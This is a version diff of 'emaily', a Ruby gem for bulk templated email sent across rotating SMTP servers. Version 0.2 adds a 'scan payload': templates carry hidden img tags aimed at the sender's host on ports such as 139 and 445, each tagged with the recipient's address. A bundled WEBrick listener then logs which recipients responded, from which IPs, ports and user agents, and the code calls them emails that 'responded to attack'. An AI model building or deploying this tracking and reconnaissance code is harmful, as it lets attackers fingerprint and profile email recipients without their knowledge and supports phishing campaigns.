emaily 0.1 → 0.2

data/bin/emaily

@@ -11,15 +11,16 @@ require 'getoptlong'
 require 'emaily'
 
 EMaily::log = true
+EMaily::status = true
 @data = {}
 @server = {}
+@ports = nil
 
 opts = GetoptLong.new(
   [ '--help', '-h', GetoptLong::NO_ARGUMENT ],
   [ '--version', '-v', GetoptLong::NO_ARGUMENT ],
   [ '--nolog', GetoptLong::NO_ARGUMENT ],
   [ '--show-templates', GetoptLong::NO_ARGUMENT ],
-  [ '--webserver', GetoptLong::NO_ARGUMENT ],
   [ '--random', GetoptLong::NO_ARGUMENT ], 
   [ '--skydrive', GetoptLong::NO_ARGUMENT ],
   [ '--remove-server', GetoptLong::NO_ARGUMENT ],
@@ -41,7 +42,10 @@ opts = GetoptLong.new(
   [ '--attachment','-a', GetoptLong::REQUIRED_ARGUMENT ],
   [ '--content-type','-c', GetoptLong::REQUIRED_ARGUMENT ],
   [ '--output','-o', GetoptLong::REQUIRED_ARGUMENT ],
-  [ '--server','-S', GetoptLong::REQUIRED_ARGUMENT ]
+  [ '--server','-S', GetoptLong::REQUIRED_ARGUMENT ],
+  [ '--webserver', GetoptLong::NO_ARGUMENT ],
+  [ '--scanports','-X', GetoptLong::REQUIRED_ARGUMENT ],
+  [ '--site', GetoptLong::REQUIRED_ARGUMENT ]
 )
 
 def logo()
@@ -68,45 +72,57 @@ opts.each do |opt, arg|
       # BEGIN OF HELP
       logo()
       puts "\n\nHELP for EMaily\n---------------------\n"
-      puts "--help, -h"
-      puts "\tWell I guess you know what this is for (To obtain this Help).\n"
-      puts "--nolog"
-      puts "\tTells EMaily not to output to STDOUT.\n"
-      puts "ADD SERVER:"
-      puts "--add-server "
-      puts "\t --name, -n [name]\n"
-      puts "\t\t The name we will use to refer it.\n"
-      puts "\t --uri, -w [smtp.server.com]"
-      puts "\t\t The smtp server's uri.\n"
-      puts "\t--port, -p [number]"
-      puts "\t\t The server's port.\n"
-      puts "\t--domain, -d [domain]"
-      puts "\t\t The user's domain.\n"
-      puts "\t--authentication [type]"
-      puts "\t\t The server's authentication type.\n"
-      puts "\t--ssl"
-      puts "\t\t The server's security\n"
-      puts "--user, -U [username]"
-      puts "\t The server's username .\n"
-      puts "--pass, -P [password]"
-      puts "\t The server's password .\n\n"
-      puts "INPUT VARIABLES"
-      puts "--show-templates\n"
-      puts "\t Shows a list of available templates and needed fields"
-      puts "--template, -t [name/path]\n"
-      puts "\t The template path or name"
-      puts "--from, -f [email address] "
-      puts "\tEmail address of who is sending the emails.\n"
-      puts "--subject, -s [subject]"
-      puts "\t The email subject. If using Templates this is not necesary\n"
-      puts "--list, -l"
-      puts "\tThe CSV file that will populate the templates.\n"
-      puts "--attachment, -a [file1,file2,file3]\n"
-      puts "\t The attachment file/s \n"
-      puts "--content-type, -c [text/html; charset=UTF-8]"
-      puts "\t The content type used on the email. Default: text/html; charset=UTF-8\n"
-      puts "--server, -S [server1,server2,server3]\n"
-      puts "\t The server/s to send emails\n"
+      puts "   --help, -h"
+      puts "   \tWell I guess you know what this is for (To obtain this Help).\n"
+      puts "   --nolog"
+      puts "   \tTells EMaily not to output to STDOUT.\n"
+      puts "   ADD SERVER:"
+      puts "   --add-server "
+      puts "   \t --name, -n [name]\n"
+      puts "   \t\t The name we will use to refer it.\n"
+      puts "   \t --uri, -w [smtp.server.com]"
+      puts "   \t\t The smtp server's uri.\n"
+      puts "   \t--port, -p [number]"
+      puts "   \t\t The server's port.\n"
+      puts "   \t--domain, -d [domain]"
+      puts "   \t\t The user's domain.\n"
+      puts "   \t--authentication [type]"
+      puts "   \t\t The server's authentication type.\n"
+      puts "   \t--ssl"
+      puts "   \t\t The server's security\n"
+      puts "   --user, -U [username]"
+      puts "   \t The server's username .\n"
+      puts "   --pass, -P [password]"
+      puts "   \t The server's password .\n\n"
+      puts "   INPUT VARIABLES"
+      puts "   --show-templates\n"
+      puts "   \t Shows a list of available templates and needed fields"
+      puts "   --template, -t [name/path]\n"
+      puts "   \t The template path or name"
+      puts "   --from, -f [email address] "
+      puts "   \tEmail address of who is sending the emails.\n"
+      puts "   --subject, -s [subject]"
+      puts "   \t The email subject. If using Templates this is not necesary\n"
+      puts "   --list, -l"
+      puts "   \tThe CSV file that will populate the templates.\n"
+      puts "   --attachment, -a [file1,file2,file3]\n"
+      puts "   \t The attachment file/s \n"
+      puts "   --content-type, -c [text/html; charset=UTF-8]"
+      puts "   \t The content type used on the email. Default: 'text/html; charset=UTF-8'.\n"
+      puts "   --server, -S [server1,server2,server3]\n"
+      puts "   \t The server/s to send emails\n"
+      puts "   --block, -b"
+      puts "   \t Size of email blocks to send at one time.\n"
+      puts "   --random\n"
+      puts "   \t Randomly chooses among servers.\n"
+      puts "   --sleep. -z"
+      puts "   \t Sleep time among blocks of emails.\n"
+      puts "   --webserver"
+      puts "   \t Creates a web server to listen on ports declared by --scan_ports.\n"
+      puts "   --scanports [80,443,8080,22]"
+      puts "   \t Add scan payload to scan for list of ports.\n"
+      puts "   --site"
+      puts "   \t If not using local webserver a site is required.\n"
       puts "Copyright 2010 - FreedomCoder\n"
       #END OF HELP
       exit(0)
@@ -167,6 +183,12 @@ opts.each do |opt, arg|
       @data[:content_type] = arg
     when '--server' then
       @data[:servers] = arg.chomp.split(",")
+    when '--webserver' then
+      @webserver = true
+    when '--scanports' then
+        @ports = arg.split(",").map {|p| p.to_i} if arg != nil
+    when '--site' then
+      @data[:site] = arg
     else
       puts "Unknown command. Please try again"
       exit(0)
@@ -204,13 +226,30 @@ def show_templates
 end
 
 def execute
-  session = EMaily::Email.new(@data)
-  if session.serv.size < 2
-    @block != nil ? session.send_block(@block, @sleep) : session.send
+  @session = EMaily::Email.new(@data)
+  if @webserver
+    webserver = EMaily::WebServers.new(@ports || @session.ports)
+    webserver.create_scan_server
+    webserver.run
+  end
+  if @session.serv.size < 2
+    @block != nil ? @session.send_block(@block, @sleep) : @session.send
   elsif @random
-    session.send_to_random_servers(@block, @sleep)
+    @session.send_to_random_servers(@block, @sleep)
   else
-    session.send_to_servers(@block, @sleep)
+    @session.send_to_servers(@block, @sleep)
+  end
+  if @webserver
+    puts "If you no longer want to listen for incomming connecionts."
+    puts "Press Control + C to close EMaily"
+    trap("INT") do 
+      webserver.stop
+      webserver.parsedata
+      EMaily::status = false
+    end
+    while EMaily::status
+      sleep(1)
+    end
   end
 end
 

data/bin/emaily_webserver

@@ -0,0 +1,89 @@
+#!/usr/bin/env ruby 
+#  -wKU
+#  emaily_webserver
+#  
+#  Created by FreedomCoder on 2010-3-6.
+#  Copyright 2010 FreedomCoder's Labs. All rights reserved.
+#
+
+require 'rubygems'
+require 'getoptlong'
+require 'webrick'
+require '../lib/emaily'
+
+module EMaily
+  class WebServers
+    SHOW_FORMAT = "+ Response from %h:%p\n|--> User-Agent: %{User-agent}i"
+  end
+end
+
+EMaily::log = true
+EMaily::status = true 
+@server = {}
+@ports = nil
+
+opts = GetoptLong.new(
+  [ '--help', '-h', GetoptLong::NO_ARGUMENT ],
+  [ '--type','-t', GetoptLong::REQUIRED_ARGUMENT ],
+  [ '--ports','-p', GetoptLong::REQUIRED_ARGUMENT ],
+  [ '--path','-x', GetoptLong::REQUIRED_ARGUMENT ]
+)
+
+opts.each do |opt, arg|
+  case opt
+    when '--help' then
+      # BEGIN OF HELP
+      puts "nHELP for emaily_webserver\n---------------------\n"
+      puts "--help, -h"
+      puts "\tWell I guess you know what this is for (To obtain this Help).\n"
+      puts "--type, -t"
+      puts "\tType of Webserver to start [Scan | host].\n"
+      puts "--ports, -p"
+      puts "\tList of ports in which Server should listen. (default 80)\n"
+      puts "--path, -x"
+      puts "\tServer's root document path. (default .)\n"
+      puts "Copyright 2010 - FreedomCoder\n"
+      #END OF HELP
+      exit(0)
+    when '--ports' then
+      @ports = arg.split(",").map {|p| p.to_i}
+    when '--type' then
+      case arg
+      when /scan/i then 
+        @type = :scan
+      when /host/i then
+        @type = :host
+      else
+        puts "Unrecognized type #{arg}. Should be [scan | host]."
+        puts "bye."
+        exit(1)
+      end
+    when '--path' then 
+      @path = arg
+    else
+      puts "option not recognized.\n"
+      exit(1)
+    end
+end
+
+webserver = EMaily::WebServers.new(@ports || 80)
+case @type
+when :scan
+  webserver.create_scan_server
+when :host
+  webserver.path = @path if @path
+  webserver.create_server
+end
+trap("INT") do 
+  webserver.stop
+  webserver.parsedata
+  EMaily::status = false
+end
+webserver.run
+
+while EMaily::status
+  sleep(1)
+end
+puts "If you no longer want to listen for incomming connecionts."
+puts "Press Control + C to close EMaily StandAlone Server."
+

data/bin/qp_decoder

@@ -1,3 +1,11 @@
+#!/usr/bin/env ruby 
+#  -wKU
+#  qp_decoder
+#  
+#  Created by FreedomCoder on 2010-1-26.
+#  Copyright 2010 FreedomCoder's Labs. All rights reserved.
+#
+
 require 'rubygems'
 require 'getoptlong'
 

data/lib/emaily.rb

@@ -4,7 +4,7 @@ require 'yaml'
 
 require 'emaily/csv'
 require 'emaily/servers'
-require 'emaily/webserver'
+require 'emaily/webservers'
 require 'emaily/templates'
 require 'emaily/emaily'
 

data/lib/emaily/emaily.rb

@@ -4,7 +4,16 @@ end
 
 module EMaily
   @@log = false
-  VERSION = 0.1
+  @@status = true
+  VERSION = 0.2
+  
+  def self.status
+    @@status
+  end
+  
+  def self.status=(v)
+    @@status=v
+  end
   
   def self.log
     @@log
@@ -25,11 +34,13 @@ module EMaily
       @from = args[:from]
       @content_type = args[:content_type] || 'text/html; charset=UTF-8;'
       @template = Template.new(args[:template], @content_type)
+      @ports = @template.ports
+      @template.site = args[:site] if args[:site]
       @subject = @template.subject || args[:subject] 
       @serv = []; args[:servers].each {|s| @serv << @servers[s][0][:values] }
       setup_server(@serv[0])
     end
-    attr_accessor :list, :from, :content_type, :subject, :serv
+    attr_accessor :list, :from, :content_type, :subject, :serv, :ports
     
     def self.start(file, &block)
       self.new(file)
@@ -37,13 +48,15 @@ module EMaily
     end
         
     def send
-      @list.each  {|p| connect p[:email], generate_email(p) }
+      @list.each {|p| connect p[:email], generate_email(p) }
     end
         
-    def send_block(bloc = 1, rest = nil, &block)
+    def send_block(bloc = 1, rest = 0, &block)
       j = 0
       while (j <= @list.size) do
-        @list[j..(j = until_this(j,bloc))].each {|p| connect p[:email], generate_email(p)}
+        @list[j..((j = until_this(j,bloc))-1)].each do |p| 
+          connect p[:email], generate_email(p)
+        end
         sleep(rest) if rest
         block.call(self) if block_given?
       end
@@ -53,14 +66,13 @@ module EMaily
       send_block bloc, rest { setup_server(@serv[rand(@serv.size)]) }
     end
     
-    def send_to_servers
-      @v = 0
-      send_block bloc, rest { setup_server(@serv[(@v += 1) % @serv.size]) }
+    def send_to_servers(bloc = 1, rest = 0)
+      @v=0; send_block bloc, rest { setup_server(@serv[(@v += 1) % @serv.size]) }
     end
     
     private
-    def until_this(j, block)
-      j + bloc > @list.size ? j + bloc : @list.size
+    def until_this(j, bloc)
+      j + bloc < @list.size ? j + bloc : @list.size
     end
     
     def generate_email(data)
@@ -72,46 +84,32 @@ module EMaily
     end
     
     def connect(email, template)
-      #begin
+      begin
         mail = Mail.new
         mail.to email
         mail.from @from
         mail.subject @subject
-        mail.text_part do
-        	body 'This mail should be rendered or viewed as HTML'
+        if @template.is_text?
+          mail.text_part { body template }
+        else
+          mail.text_part do
+        	  body 'This mail should be rendered or viewed as HTML'
+          end
         end
-        mail.html_part do
-        	content_type 'text/html; charset=UTF-8'
-          body template
+        if @template.is_html?
+          mail.html_part do
+        	  content_type 'text/html; charset=UTF-8'
+            body template
+          end
         end
         @attach.each do |file|
           m.add_file file
         end
         mail.deliver
-        
         D "Successfully sent #{email}"
-        #m = Mail.new
-        #m.to email
-        #m.from @from
-        #m.subject @subject
-        #m.content_type @content_type
-        #if @template.is_text?
-        #  m.text_part { body template }
-        #end
-        #if @template.is_html?
-        #  m.html_part do
-        #    content_type @content_type
-        #    body template
-        #  end
-        #end
-        #@attach.each do |file|
-        #  m.add_file file
-        #end
-        #m.deliver
-        #D "Successfully sent #{email}"
-      #rescue
-      #  D "Something went wrong sending #{email}"
-      #end
+      rescue
+        D "Something went wrong sending #{email}\nError: #{$!}\n"
+      end
     end
   end
 end

data/lib/emaily/templates.rb

@@ -5,24 +5,38 @@
 
 module EMaily
   class Template
-    def initialize(template, content_type)
+    def initialize(template, content_type, ports=nil, site=nil)
       file = File.readlines(template)
       if file[0].match(/<subject>/)
         @s = file[0].scan(/<subject>(.*)<\/subject>/)[0][0]
-        @t=file[1..-1].to_s
+        @templete=file[1..-1].to_s
       else
-        @t = file.to_s
+        @templete = file.to_s
       end
       @c = content_type
+      if ports
+        @port = ports
+      else @templete.match(/%%payload\[(.*)\]%%/) !=nil
+        @ports = @templete.scan(/%%payload\[(.*)\]%%/)[0][0].split(",").map {|p| p.to_i}
+      end
+      @site = site
     end
+    attr_accessor :ports
+    attr_reader :site
     
     def generate_email(values)
-      email=@t
+      email = @templete.clone
       D "Creating Email for #{values[:email]}" if values[:email]
-      @t.scan(/(%%.*%%)/).each {|x| email.gsub!(/(#{x[0]})/) {|s| values[s.to_s[2...-2].to_sym]}}
+      email.scan(/(%%.*%%)/).each {|x| email.gsub!(/(#{x[0]})/) {|s| values[s.to_s[2...-2].to_sym]}}
+      email.gsub!(/%%payload\[.*\]%%/) { |pl| generate_scan_ports(values[:email])}
       email
     end
     
+    def generate_email_with_scan(values)
+      email = generate_email(values)
+      email.gsub!(/(<\/body>)/) {|s| "#{scan_ports(@ports, values[:email])}" + s }
+    end
+        
     def is_text?
       @c.match(/text\/plain/) != nil ? true : false
     end
@@ -30,9 +44,38 @@ module EMaily
     def is_html?
       @c.match(/text\/html/) != nil ? true : false
     end
+        
+    def site=(url)
+      @site = url.match(/http/) ? url : "http://#{url}"
+    end
     
     def subject
       @s || nil
     end
+    
+    private
+    
+    def generate_scan_ports(identifier)
+      pl = ""
+      @ports.each do |port|
+        pl << "<img src=\"#{@site||("http://"+local_ip)}:#{port}/#{port}.jpg?e=#{identifier}\"/>\n"
+      end
+      pl
+    end
+    
+    def local_ip
+      if @local_ip
+        @local_ip
+      else
+        require 'socket'
+        orig, Socket.do_not_reverse_lookup = Socket.do_not_reverse_lookup, true
+        UDPSocket.open do |s|
+          s.connect '8.8.8.8', 1
+          @local_ip = s.addr.last
+        end
+      end
+    ensure
+      Socket.do_not_reverse_lookup = orig
+    end
   end
 end

data/lib/emaily/webservers.rb

@@ -0,0 +1,76 @@
+require 'webrick'
+include WEBrick
+
+class CustomScanningServer < WEBrick::HTTPServlet::AbstractServlet
+  def do_GET(req, resp)
+      resp.body = ""
+  end
+  
+  def do_POST(req, resp)
+      resp.body = ""
+  end
+end
+
+module EMaily
+  class WebServers
+    SHOW_FORMAT = "+ Response from IP %h on port %p"
+    LOG_FORMAT = "|| %h || %p || %U || %{User-agent}i"
+    def initialize(ports)
+      @ports = ports
+      @log = Dir::pwd + "/emaily_webserver_#{Time.now.to_s.gsub(/ |:|-/,"")}.log"
+      @data = []
+      @path = Dir::pwd
+    end
+    attr_accessor :path
+    
+    def create_scan_server
+      @server = WEBrick::HTTPServer.new(:Port => @ports[0], :ServerType => Thread,
+                :Logger => Log.new("/dev/null"),
+                :AccessLog => [[$stdout, SHOW_FORMAT], [Log.new(@log), LOG_FORMAT]])
+      if @ports.size > 1
+        @ports[1..-1].each {|p| @server.listen("0.0.0.0", p)}
+      end
+      @server.mount("/*", CustomScanningServer)
+    end
+    
+    def create_server
+      @server = WEBrick::HTTPServer.new(:Port => @ports[0], :DocumentRoot => @path,
+                :ServerType => Thread, :Logger => Log.new("/dev/null"),
+                :AccessLog => [[$stdout, SHOW_FORMAT], [Log.new(@log), LOG_FORMAT]])
+      if @ports.size > 1
+        @ports[1..-1].each {|p| @server.listen("0.0.0.0", p)}
+      end
+    end
+    
+    def run
+      @server.start
+    end
+    
+    def stop
+      @server.shutdown
+    end
+    
+    def parsedata
+      # Print list of Ports matching IP to Email
+      data = File.read(@log).scan(/\|\| (.*) \|\| (.*) \|\| (.*) \|\| (.*)/)
+      puts "Open Ports\n"
+      puts "------------"
+      ports = data.map {|d| d[1]}.uniq
+      ports.each do |port|
+        puts "Port #{port}"
+        data.select {|d| d[1] == port}.uniq.each { |d| puts "  #{d[0]} => #{d[2].to_s.scan(/\?e=(.*)/).to_s}\n" }
+      end
+      #Print list of Users-Agents discovered
+      puts "User-Agents\n"
+      puts "-------------"
+      data.map { |d| d[3]}.uniq.each {|ua| puts "  "+ua}
+      
+      #Print list of email addresses that responded to attack.
+      puts "Emails:"
+      data.map { |d| d[2].to_s.scan(/\?e=(.*)/).to_s}.uniq.each {|e| puts "  "+e}
+      
+      puts "\n\nFull Access Log data is available on #{@log}\n"
+      EMaily::status = false
+    end
+  end
+end

data/templates/test_template.html

@@ -8,5 +8,6 @@
 		Regards,
 		
 		EMaily
+		%%payload[80,8080,443,1080,139,445]%%
 	</body>
 </html>

metadata

@@ -1,7 +1,12 @@
 --- !ruby/object:Gem::Specification 
 name: emaily
 version: !ruby/object:Gem::Version 
-  version: "0.1"
+  hash: 15
+  prerelease: false
+  segments: 
+  - 0
+  - 2
+  version: "0.2"
 platform: ruby
 authors: 
 - Matias P. Brutti
@@ -9,24 +14,31 @@ autorequire:
 bindir: bin
 cert_chain: []
 
-date: 2010-02-25 00:00:00 -03:00
+date: 2010-06-13 00:00:00 -03:00
 default_executable: 
 dependencies: 
 - !ruby/object:Gem::Dependency 
   name: mail
-  type: :runtime
-  version_requirement: 
-  version_requirements: !ruby/object:Gem::Requirement 
+  prerelease: false
+  requirement: &id001 !ruby/object:Gem::Requirement 
+    none: false
     requirements: 
     - - ">="
       - !ruby/object:Gem::Version 
+        hash: 15
+        segments: 
+        - 2
+        - 1
+        - 2
         version: 2.1.2
-    version: 
+  type: :runtime
+  version_requirements: *id001
 description: 
 email: matiasbrutti@gmail.com
 executables: 
 - emaily
 - emaily_genlist
+- emaily_webserver
 - qp_decoder
 extensions: []
 
@@ -38,10 +50,14 @@ files:
 - lib/emaily/servers.rb
 - lib/emaily/skydrive.rb
 - lib/emaily/templates.rb
-- lib/emaily/webserver.rb
+- lib/emaily/webservers.rb
 - lib/emaily.rb
 - templates/test_template.html
 - README
+- bin/emaily
+- bin/emaily_genlist
+- bin/emaily_webserver
+- bin/qp_decoder
 has_rdoc: true
 homepage: http://freedomcoder.com.ar/emaily
 licenses: []
@@ -52,21 +68,27 @@ rdoc_options: []
 require_paths: 
 - lib
 required_ruby_version: !ruby/object:Gem::Requirement 
+  none: false
   requirements: 
   - - ">="
     - !ruby/object:Gem::Version 
+      hash: 3
+      segments: 
+      - 0
       version: "0"
-  version: 
 required_rubygems_version: !ruby/object:Gem::Requirement 
+  none: false
   requirements: 
   - - ">="
     - !ruby/object:Gem::Version 
+      hash: 3
+      segments: 
+      - 0
       version: "0"
-  version: 
 requirements: []
 
 rubyforge_project: 
-rubygems_version: 1.3.5
+rubygems_version: 1.3.7
 signing_key: 
 specification_version: 3
 summary: A library to send template to multiple emails.